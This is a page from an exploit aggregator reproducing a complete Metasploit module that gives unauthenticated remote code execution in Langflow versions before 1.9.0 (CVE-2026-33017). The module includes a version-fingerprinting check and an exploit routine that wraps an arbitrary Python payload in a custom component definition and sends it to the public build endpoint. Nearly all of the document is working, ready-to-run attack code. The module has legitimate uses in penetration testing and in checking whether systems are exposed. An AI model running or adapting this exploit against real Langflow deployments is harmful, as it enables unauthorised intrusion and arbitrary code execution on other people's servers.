Sploitus

Exploit for Langflow Unauth RCE

metasploit Β· 2026-03-20

Exploit Code

ruby203 lines
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-LANGFLOW_UNAUTH_RCE_CVE_2026_33017-
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Langflow Unauth RCE',
        'Description' => %q{
          Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the
          /api/v1/build_public_tmp/<flow_id>/flow endpoint. A remote and unauthenticated attacker can send crafted
          HTTP requests to execute arbitrary code.
        },
        'Author' => [
          'Richard Howe <rhowe425>',  # Metasploit module
          'Diamorphine'               # Discovered vulnerability
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-33017'],
          ['EDB', '52627'],
          ['URL', 'https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896']
        ],
        'Targets' => [
          [
            'Python payload',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Payload' => {
          'BadChars' => '"'
        },
        'DisclosureDate' => '2026-03-20',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path', '/']),
        OptString.new('FLOW_ID', [true, 'Public Langflow flow UUID', nil]),
        Opt::RPORT(7860)
      ]
    )
  end

  def check
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'api/v1/version')
      }
    )
    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

    doc = res.get_json_document
    package = doc.is_a?(Hash) ? doc['package'] : nil
    version_str = doc.is_a?(Hash) ? doc['version'] : nil
    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str
    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package
    return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'

    begin
      version = Rex::Version.new(version_str)
    rescue StandardError
      return Exploit::CheckCode::Unknown('Failed to parse version.')
    end

    if version < Rex::Version.new('1.9.0')
      Exploit::CheckCode::Appears("Version #{version} appears vulnerable.")
    else
      Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
    end
  end

  def exploit
    flow_id = datastore['FLOW_ID']
    fail_with(Failure::BadConfig, 'FLOW_ID is required.') unless flow_id

    # Randomize component identifiers
    node_id = Rex::Text.rand_text_alpha(8)
    component_display_name = Rex::Text.rand_text_alpha(5)
    component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}"

    output_display_name = Rex::Text.rand_text_alpha(5)
    output_name = Rex::Text.rand_text_alpha(5).downcase
    output_method = Rex::Text.rand_text_alpha(5).downcase

    # The payload is executed within the output method so it runs when the
    # component vertex is invoked; the class definition allows Langflow to
    # resolve the component vertex.
    injected_code = "from lfx.custom.custom_component.component import Component\n" \
                    "from lfx.io import Output\n" \
                    "from lfx.schema.data import Data\n" \
                    "\n" \
                    "class #{component_name}(Component):\n" \
                    "    display_name='#{component_display_name}'\n" \
                    "    outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\n" \
                    "    def #{output_method}(self)->Data:\n" \
                    "        #{payload.encode.gsub("\n", "\n        ")}\n" \
                    "        return Data(data={})\n"

    data = {
      'data' => {
        'nodes' => [
          {
            'id' => node_id,
            'type' => 'genericNode',
            'position' => {
              'x' => 0,
              'y' => 0
            },
            'data' => {
              'id' => node_id,
              'type' => component_name,
              'node' => {
                'template' => {
                  'code' => {
                    'type' => 'code',
                    'required' => true,
                    'show' => true,
                    'multiline' => true,
                    'value' => injected_code,
                    'name' => 'code',
                    'password' => false,
                    'advanced' => false,
                    'dynamic' => false
                  },
                  '_type' => 'Component'
                },
                'description' => component_display_name,
                'base_classes' => ['Data'],
                'display_name' => component_name,
                'name' => component_name,
                'frozen' => false,
                'outputs' => [
                  {
                    'types' => ['Data'],
                    'selected' => 'Data',
                    'name' => output_name,
                    'display_name' => output_display_name,
                    'method' => output_method,
                    'value' => '__UNDEFINED__',
                    'cache' => true,
                    'allows_loop' => false,
                    'tool_mode' => false,
                    'hidden' => nil,
                    'required_inputs' => nil,
                    'group_outputs' => false
                  }
                ],
                'field_order' => ['code'],
                'beta' => false,
                'edited' => false
              }
            }
          }
        ],
        'edges' => []
      },
      'inputs' => nil
    }

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"),
        'headers' => {
          'Content-Type' => 'application/json'
        },
        'cookie' => "client_id=#{Rex::Text.rand_text_alpha(8)}",
        'data' => data.to_json
      }
    )

    fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res

    unless res.code.between?(200, 299)
      fail_with(Failure::UnexpectedReply, "Unexpected server reply (HTTP #{res.code}).")
    end

    print_status('Payload sent successfully.')
  end
end